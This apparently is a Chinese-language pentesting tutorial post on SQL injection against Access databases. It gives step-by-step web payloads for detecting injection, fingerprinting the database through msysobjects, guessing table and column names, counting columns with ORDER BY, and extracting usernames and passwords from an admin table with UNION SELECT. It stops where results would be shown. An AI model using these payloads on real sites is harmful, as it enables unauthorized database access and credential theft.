@1kbfree
2018-03-17T22:50:56.000000Z
字数 1318
阅读 1470
渗透
sql注入原理:
SQL注入即是指web应用程序对用户输入数据的合法性没有判断,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息
sql注入类型
sql注入点
任何存在与数据库交互的地方,都可能存在sql注入
攻击流程
SQL注入威胁表现形式可以体现为以下几点:
SQL注入攻击的典型手段:
- 判断应用程序是否存在注入漏洞
- 收集信息、并判断数据库类型
- 根据注入参数类型,重构SQL语句的原貌
- 猜解表名、字段名
- 获取账户信息、攻击web或为下一步攻击做准备
access数据如注入
判断是否有注入:
①http://www.xxx.xxx?id=1'
②http://www.xxx.xxx?id=1 and 1=1
③http://www.xxx.xxx?id=1 and 1=2
如果执行①后,页面上提示报错或者提示数据库错误的话,说明是可能存在注入漏洞的。
如果执行②后,页面正常显示,而执行③后,页面报错,那么说明这个页面是存在注入漏洞的。
判断是否为access数据库:
1'and exists (select * from msysobjects) > 0-- a
这里的-- a表示注释
注意:如果返回msysobjects上没有读取数据权限就是证明这个库存在msysobjects,能证明这个是access数据库
exists 是判断是否存在,和in类似,但效率要比in高
判断数据表:
1' and exists(select * from admin)-- a
判断表admin是否存在,如果返回正常,说明admin表是存在的
1' and exists(select * from users)-- a
判断表users是否存在,如果返回正常,说明users表是存在的
判断字段名:
如果admin表存在,我们可以这样1' and exists(select password from admin)-- a
来判断字段(password)是否存在
判断字段长度:
1' order by 30-- a
看能否排序30个,如果不能说明少于30个
1' order by 25-- a
看能否排序25个,如果不能说明少于25个
1' order by 20-- a
看能否排序30个,如果能说明等于或大于20个
判断在前端的显示个数可以慢慢猜,如果在20时没报错,在30的时候报错了,说明这个字段长度大于或等于20,小于30
如果知道了显示个数为二十,我们可以这样1' union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 from admin-- a
返回如下图:
我们在继续输入1' union select 1,2,username,4,5,6,7,8,9,10,11,12,13,14,password,16,17,18,19,20 from admin-- a
意思是让3的地方显示username,让15那里显示password。我们来看看结果: